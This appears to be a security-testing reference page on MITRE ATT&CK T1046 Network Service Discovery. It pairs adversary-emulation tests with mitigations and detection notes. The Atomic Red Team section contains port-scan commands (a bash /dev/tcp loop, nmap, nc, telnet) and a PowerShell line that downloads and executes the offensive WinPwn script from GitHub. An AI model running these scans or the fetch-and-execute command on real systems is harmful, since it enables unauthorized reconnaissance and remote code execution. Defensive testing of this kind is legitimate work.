cyberstrikeus T1046 Network Service Discovery
High-Level Description
Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system.
Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.
Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host’s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.
Kill Chain Phase
- Discovery (TA0007)
Platforms: Containers, IaaS, Linux, macOS, Network Devices, Windows
What to Check
- Identify if Network Service Discovery technique is applicable to target environment
- Check Containers systems for indicators of Network Service Discovery
- Check IaaS systems for indicators of Network Service Discovery
- Check Linux systems for indicators of Network Service Discovery
- Verify mitigations are bypassed or absent (3 known mitigations)
- Assess detection coverage (1 detection strategies)
How to Test
Atomic Red Team Tests
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Atomic Test 1: Port Scan
Scan ports to check for listening ports.
Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Supported Platforms: linux, macos
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
Atomic Test 2: Port Scan Nmap
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Supported Platforms: linux, macos Elevation Required: Yes
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
Dependencies:
- Check if nmap command exists on the machine
- Check if nc command exists on the machine
- Check if telnet command exists on the machine
Atomic Test 3: Port Scan NMap for Windows
Scan ports to check for listening ports for the local host 127.0.0.1
Supported Platforms: windows Elevation Required: Yes
nmap #{host_to_scan}
Dependencies:
- NMap must be installed
Atomic Test 4: Port Scan using python
Scan ports to check for listening ports with python
Supported Platforms: windows
python "#{filename}" -i #{host_ip}
Dependencies:
- Check if python exists on the machine
Atomic Test 5: WinPwn - spoolvulnscan
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Supported Platforms: windows
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Manual Testing
If Atomic Red Team tests are not applicable, manually verify the technique by:
Identify Attack Surface: Determine if the target environment is susceptible to Network Service Discovery by examining the target platforms (Containers, IaaS, Linux).
Assess Existing Defenses: Review whether mitigations for T1046 are in place. If defenses are absent or misconfigured, this technique may be exploitable.
Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.
Remediation Guide
M1042 Disable or Remove Feature or Program
Ensure that unnecessary ports and services are closed to prevent risk of discovery and potential exploitation.
M1031 Network Intrusion Prevention
Use network intrusion detection/prevention systems to detect and prevent remote service scans.
M1030 Network Segmentation
Ensure proper network segmentation is followed to protect critical servers and devices.
Detection
Behavioral Detection Strategy for Network Service Discovery Across Platforms
Risk Assessment
| Finding | Severity | Impact |
|---|---|---|
| Network Service Discovery technique applicable | High | Discovery |
CWE Categories
| CWE ID | Title |
|---|---|
| CWE-200 | Exposure of Sensitive Information |